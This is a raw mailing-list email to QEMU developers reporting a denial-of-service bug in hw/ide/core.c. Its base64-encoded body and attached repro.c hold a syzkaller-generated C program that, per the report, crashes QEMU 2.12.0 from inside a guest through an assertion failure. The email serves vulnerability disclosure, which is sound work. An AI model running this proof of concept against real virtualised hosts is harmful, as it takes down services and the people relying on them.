From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from eggs.gnu.org ([2001:4830:134:3::10]:44499) by lists.gnu.org with esmtp (Exim 4.71) (envelope-from ) id 1fUWYb-0002Z1-Hq for qemu-devel@nongnu.org; Sun, 17 Jun 2018 08:13:23 -0400 Received: from Debian-exim by eggs.gnu.org with spam-scanned (Exim 4.71) (envelope-from ) id 1fUWYa-0008Q7-3J for qemu-devel@nongnu.org; Sun, 17 Jun 2018 08:13:21 -0400 Message-ID: <5b265059.1c69fb81.adb67.76bf@mx.google.com> MIME-Version: 1.0 From: air icy Date: Sun, 17 Jun 2018 20:13:07 +0800 Content-Type: multipart/mixed; boundary="_38CBCCF7-CD41-4746-806E-CEA21AD50208_" Subject: [Qemu-devel] Denial of service in hw/ide/core.c List-Id: List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , To: "jsnow@redhat.com" , "qemu-block@nongnu.org" , "qemu-devel@nongnu.org" --_38CBCCF7-CD41-4746-806E-CEA21AD50208_ Content-Transfer-Encoding: base64 Content-Type: text/plain; charset="utf-8" DQpIaSwNClFFTVUgJ2h3L2lkZS9jb3JlLmM6ODcxJyBEZW5pYWwgb2YgU2VydmljZSBWdWxuZXJh YmlsaXR5IGluIHZlcnNpb24gcWVtdS0yLjEyLjANCnJ1biB0aGUgcHJvZ3JhbSBpbiBxZW11LTIu MTIuMDoNCg0KI2RlZmluZSBfR05VX1NPVVJDRQ0KI2luY2x1ZGUgPGVuZGlhbi5oPg0KI2luY2x1 ZGUgPHN5cy9zeXNjYWxsLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8ZmNudGwu aD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1ZGUgPHN5 cy9zdGF0Lmg+DQojaW5jbHVkZSA8c3RkaW50Lmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQpzdGF0 aWMgdWludHB0cl90IHN5el9vcGVuX2Rldih1aW50cHRyX3QgYTAsIHVpbnRwdHJfdCBhMSwgdWlu dHB0cl90IGEyKQ0Kew0KwqDCoMKgwqDCoMKgwqDCoGlmIChhMCA9PSAweGMgfHwgYTAgPT0gMHhi KSB7DQrCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoGNoYXIgYnVmWzEyOF07DQrCoMKg wqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoHNwcmludGYoYnVmLCAiL2Rldi8lcy8lZDolZCIs IGEwID09IDB4YyA/ICJjaGFyIiA6ICJibG9jayIsICh1aW50OF90KWExLCAodWludDhfdClhMik7 DQrCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoHJldHVybiBvcGVuKGJ1ZiwgT19SRFdS LCAwKTsNCsKgwqDCoMKgwqDCoMKgwqB9IGVsc2Ugew0KwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg wqDCoMKgwqBjaGFyIGJ1ZlsxMDI0XTsNCsKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg Y2hhciogaGFzaDsNCnN0cm5jcHkoYnVmLCAoY2hhciopYTAsIHNpemVvZihidWYpIC0gMSk7DQrC oMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoGJ1ZltzaXplb2YoYnVmKSAtIDFdID0gMDsN CsKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgd2hpbGUgKChoYXNoID0gc3RyY2hyKGJ1 ZiwgJyMnKSkpIHsNCsKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg wqDCoCpoYXNoID0gJzAnICsgKGNoYXIpKGExICUgMTApOw0KwqDCoMKgwqDCoMKgwqDCoMKgwqDC oMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgYTEgLz0gMTA7DQrCoMKgwqDCoMKgwqDCoMKgwqDC oMKgwqDCoMKgwqDCoH0NCsKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgcmV0dXJuIG9w ZW4oYnVmLCBhMiwgMCk7DQrCoMKgwqDCoMKgwqDCoMKgfQ0KfQ0KdWludDY0X3QgclsyXSA9IHsw eGZmZmZmZmZmZmZmZmZmZmYsIDB4ZmZmZmZmZmZmZmZmZmZmZn07DQp2b2lkIGxvb3AoKQ0Kew0K wqDCoMKgwqDCoMKgwqDCoGxvbmcgcmVzID0gMDsNCm1lbWNweSgodm9pZCopMHgyMDAwMDAwMCwg Ii9kZXYvc2cjIiwgOSk7DQrCoMKgwqDCoMKgwqDCoMKgcmVzID0gc3l6X29wZW5fZGV2KDB4MjAw MDAwMDAsIDAsIDIpOw0KwqDCoMKgwqDCoMKgwqDCoGlmIChyZXMgIT0gLTEpDQrCoMKgwqDCoMKg wqDCoMKgwqDCoMKgwqDCoMKgwqDCoHJbMF0gPSByZXM7DQrCoMKgwqDCoMKgwqDCoMKgcmVzID0g c3lzY2FsbChfX05SX2R1cDIsIHJbMF0sIHJbMF0pOw0KwqDCoMKgwqDCoMKgwqDCoGlmIChyZXMg IT0gLTEpDQrCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoHJbMV0gPSByZXM7DQoqKHVp bnQ4X3QqKTB4MjAwMDBlYzAgPSAwOw0KKih1aW50OF90KikweDIwMDAwZWMxID0gMDsNCioodWlu dDhfdCopMHgyMDAwMGVjMiA9IDA7DQoqKHVpbnQ4X3QqKTB4MjAwMDBlYzMgPSAwOw0KKih1aW50 MzJfdCopMHgyMDAwMGVjOCA9IDA7DQoqKHVpbnQ4X3QqKTB4MjAwMDBlZDggPSAwOw0KKih1aW50 OF90KikweDIwMDAwZWQ5ID0gMDsNCioodWludDhfdCopMHgyMDAwMGVkYSA9IDA7DQoqKHVpbnQ4 X3QqKTB4MjAwMDBlZGIgPSAwOw0KbWVtY3B5KCh2b2lkKikweDIwMDAwZWUwLCAiXHg5Y1x4NGRc eGU3XHhkNVx4MGFceDYyXHg0M1x4YTdceDc3XHg1M1x4NjdceGIzIiwgMTIpOw0KwqDCoMKgwqDC oMKgwqDCoHN5c2NhbGwoX19OUl93cml0ZSwgclsxXSwgMHgyMDAwMGVjMCwgMHgzMjMpOw0KfQ0K aW50IG1haW4oKQ0Kew0KwqDCoMKgwqDCoMKgwqDCoHN5c2NhbGwoX19OUl9tbWFwLCAweDIwMDAw MDAwLCAweDEwMDAwMDAsIDMsIDB4MzIsIC0xLCAwKTsNCsKgwqDCoMKgwqDCoMKgwqBsb29wKCk7 DQrCoMKgwqDCoMKgwqDCoMKgcmV0dXJuIDA7DQp9DQoNCnRoaXMgd2lsbCBjcmFzaCBxZW11LCBv dXRwdXQgaW5mb3JtYXRpb246DQrCoHFlbXUtc3lzdGVtLXg4Nl82NDogaHcvaWRlL2NvcmUuYzo4 NDM6IGlkZV9kbWFfY2I6IEFzc2VydGlvbiBgbiAqIDUxMiA9PSBzLT5zZy5zaXplJyBmYWlsZWQu DQpUaGFua3MNCm93bDMzNw0KDQoNCg== --_38CBCCF7-CD41-4746-806E-CEA21AD50208_ Content-Type: text/plain; name="repro.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="repro.c" Ly8gYXV0b2dlbmVyYXRlZCBieSBzeXprYWxsZXIgKGh0dHA6Ly9naXRodWIuY29tL2dvb2dsZS9z eXprYWxsZXIpCgojZGVmaW5lIF9HTlVfU09VUkNFIAojaW5jbHVkZSA8ZW5kaWFuLmg+CiNpbmNs dWRlIDxzeXMvc3lzY2FsbC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxmY250bC5o PgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN0cmluZy5oPgojaW5jbHVkZSA8c3lzL3N0 YXQuaD4KI2luY2x1ZGUgPHN0ZGludC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CgpzdGF0aWMgdWlu dHB0cl90IHN5el9vcGVuX2Rldih1aW50cHRyX3QgYTAsIHVpbnRwdHJfdCBhMSwgdWludHB0cl90 IGEyKQp7CglpZiAoYTAgPT0gMHhjIHx8IGEwID09IDB4YikgewoJCWNoYXIgYnVmWzEyOF07CgkJ c3ByaW50ZihidWYsICIvZGV2LyVzLyVkOiVkIiwgYTAgPT0gMHhjID8gImNoYXIiIDogImJsb2Nr IiwgKHVpbnQ4X3QpYTEsICh1aW50OF90KWEyKTsKCQlyZXR1cm4gb3BlbihidWYsIE9fUkRXUiwg MCk7Cgl9IGVsc2UgewoJCWNoYXIgYnVmWzEwMjRdOwoJCWNoYXIqIGhhc2g7CnN0cm5jcHkoYnVm LCAoY2hhciopYTAsIHNpemVvZihidWYpIC0gMSk7CgkJYnVmW3NpemVvZihidWYpIC0gMV0gPSAw OwoJCXdoaWxlICgoaGFzaCA9IHN0cmNocihidWYsICcjJykpKSB7CgkJCSpoYXNoID0gJzAnICsg KGNoYXIpKGExICUgMTApOwoJCQlhMSAvPSAxMDsKCQl9CgkJcmV0dXJuIG9wZW4oYnVmLCBhMiwg MCk7Cgl9Cn0KCnN0YXRpYyB2b2lkIGV4ZWN1dGVfb25lKCk7CmV4dGVybiB1bnNpZ25lZCBsb25n IGxvbmcgcHJvY2lkOwoKdm9pZCBsb29wKCkKewoJd2hpbGUgKDEpIHsKCQlleGVjdXRlX29uZSgp OwoJfQp9Cgp1aW50NjRfdCByWzJdID0gezB4ZmZmZmZmZmZmZmZmZmZmZiwgMHhmZmZmZmZmZmZm ZmZmZmZmfTsKdm9pZCBleGVjdXRlX29uZSgpCnsKCWxvbmcgcmVzID0gMDsKbWVtY3B5KCh2b2lk KikweDIwMDAwMDAwLCAiL2Rldi9zZyMiLCA5KTsKCXJlcyA9IHN5el9vcGVuX2RldigweDIwMDAw MDAwLCAwLCAyKTsKCWlmIChyZXMgIT0gLTEpCgkJclswXSA9IHJlczsKCXJlcyA9IHN5c2NhbGwo X19OUl9kdXAyLCByWzBdLCByWzBdKTsKCWlmIChyZXMgIT0gLTEpCgkJclsxXSA9IHJlczsKKih1 aW50OF90KikweDIwMDAwZWMwID0gMDsKKih1aW50OF90KikweDIwMDAwZWMxID0gMDsKKih1aW50 OF90KikweDIwMDAwZWMyID0gMDsKKih1aW50OF90KikweDIwMDAwZWMzID0gMDsKKih1aW50MzJf dCopMHgyMDAwMGVjOCA9IDA7CioodWludDhfdCopMHgyMDAwMGVkOCA9IDA7CioodWludDhfdCop MHgyMDAwMGVkOSA9IDA7CioodWludDhfdCopMHgyMDAwMGVkYSA9IDA7CioodWludDhfdCopMHgy MDAwMGVkYiA9IDA7Cm1lbWNweSgodm9pZCopMHgyMDAwMGVlMCwgIlx4OWNceDRkXHhlN1x4ZDVc eDBhXHg2Mlx4NDNceGE3XHg3N1x4NTNceDY3XHhiMyIsIDEyKTsKCXN5c2NhbGwoX19OUl93cml0 ZSwgclsxXSwgMHgyMDAwMGVjMCwgMHgzMCk7Cn0KCmludCBtYWluKCkKewoJc3lzY2FsbChfX05S X21tYXAsIDB4MjAwMDAwMDAsIDB4MTAwMDAwMCwgMywgMHgzMiwgLTEsIDApOwoJZm9yICg7Oykg ewoJCWxvb3AoKTsKCX0KfQo= --_38CBCCF7-CD41-4746-806E-CEA21AD50208_--